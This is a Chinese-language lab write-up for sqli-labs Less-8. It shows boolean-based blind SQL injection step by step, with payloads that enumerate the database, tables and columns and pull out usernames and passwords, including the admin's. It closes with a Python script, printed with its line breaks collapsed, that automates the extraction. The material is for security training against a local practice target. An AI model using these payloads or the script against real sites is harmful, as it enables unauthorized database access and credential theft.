一:確定注入類型
按照我們之前的步驟來
輸入
?id=1' and '1'='1'--+
?id=1' and '1'='2'--+
界面正常?
?第二行界面異常空白
所以注入類型為單引號閉合型
二: 布爾盲注
1.判斷是否使用條件
(1):存在注入但不會直接顯示查詢結果
(2):頁面不會返回sql錯誤信息
(3):注入真假時,頁面會產生可觀察到的差異
比如這一關我們輸入
?id=1' and 1=1 --+ (返回"You are in...")
?id=1' and 1=2 --+ (頁面空白)
所以我們使用布爾盲注
二:開始攻擊
1.爆庫名長度
?id=1' and length(database())=1 --+ (無回顯)
?id=1' and length(database())=2 --+
...
?id=1' and length(database())=8 --+ (出現"You are in...")
ps:可以使用二分法提高效率
?id=1' and length(database())>4 --+ (有回顯)
?id=1' and length(database())>6 --+ (有回顯)
?id=1' and length(database())>8 --+ (無回顯)
?2.根據庫名長度爆庫名:
-- 第一位字符
?id=1' and substr(database(),1,1)='a' --+
...
?id=1' and substr(database(),1,1)='s' --+ (成功)-- 第二位字符
?id=1' and substr(database(),2,1)='a' --+
...
?id=1' and substr(database(),2,1)='e' --+ (成功)-- 使用ASCII碼提高效率
?id=1' and ascii(substr(database(),1,1))>115 --+
?id=1' and ascii(substr(database(),1,1))=115 --+ (s的ASCII碼)
3.對當前庫爆表的數量
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 --+
...
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ (成功)
?4.根據庫名和表數量爆表名長度
-- 第一個表長度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 --+
...
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ (成功)-- 第二個表長度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+ (成功)
5.?根據表名長度爆表名
-- 第一個表名(emails)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='m' --+
...-- 第二個表名(users)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='u' --+
6.?對表爆列數量(以users表為例)
?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3 --+ (成功)
7.?根據表名和列數量爆列名長度
-- 第一列長度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1))=2 --+ (id)-- 第二列長度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1))=8 --+ (username)-- 第三列長度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 2,1))=8 --+ (password)
8.?根據列名長度爆列名
-- 第一列名(id)
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='d' --+-- 第二列名(username)
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='u' --+
9.?根據列名爆數據值
-- 獲取第一個用戶的用戶名長度
?id=1' and length((select username from users limit 0,1))=4 --+ (Dumb)-- 獲取第一個用戶的用戶名
?id=1' and substr((select username from users limit 0,1),1,1)='D' --+
?id=1' and substr((select username from users limit 0,1),2,1)='u' --+-- 獲取第一個用戶的密碼
?id=1' and substr((select password from users limit 0,1),1,1)='D' --+-- 獲取管理員密碼
?id=1' and substr((select password from users where username='admin' limit 0,1),1,1)='a' --+
三:腳本優化
1.先在終端輸入python --version,會顯示python版本,建議3.6+
2.安裝resquests庫
pip install requests
3.創建腳本文件?
4
4.附上代碼
import requests
import timedef get_database_info():# 配置目標URL和請求頭base_url = "http://127.0.0.1/sqli-labs/Less-8/"headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ''(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'}# 1. 獲取數據庫名長度(使用二分法優化)print("[*] 正在檢測數據庫名長度...")db_length = 0low, high = 1, 50 # 假設數據庫名長度在1-50之間while low <= high:mid = (low + high) // 2payload = f"1' AND (SELECT LENGTH(database())) > {mid} -- "response = requests.get(base_url, params={"id": payload}, headers=headers)if "You are in" in response.text:low = mid + 1else:high = mid - 1db_length = lowprint(f"[+] 數據庫名長度: {db_length}")# 2. 獲取數據庫名(優化后的逐字符檢測)print("[*] 正在破解數據庫名...")database_name = ""for position in range(1, db_length + 1):# 使用二分法查找每個字符low, high = 32, 126 # ASCII可打印字符范圍while low <= high:mid = (low + high) // 2payload = f"1' AND ASCII(SUBSTRING((SELECT database()), {position}, 1)) > {mid} -- "response = requests.get(base_url, params={"id": payload}, headers=headers)if "You are in" in response.text:low = mid + 1else:high = mid - 1if low <= 126:char = chr(low)database_name += charprint(f"[*] 進度: {database_name.ljust(db_length, '_')}", end="\r")time.sleep(0.1) # 避免請求過快else:print(f"\n[!] 第{position}個字符檢測失敗")breakprint(f"\n[+] 數據庫名: {database_name}")return database_nameif __name__ == "__main__":try:print("=== SQL盲注自動化工具 ===")db_name = get_database_info()print("\n=== 操作完成 ===")except Exception as e:print(f"[!] 發生錯誤: {str(e)}")input("按任意鍵退出...")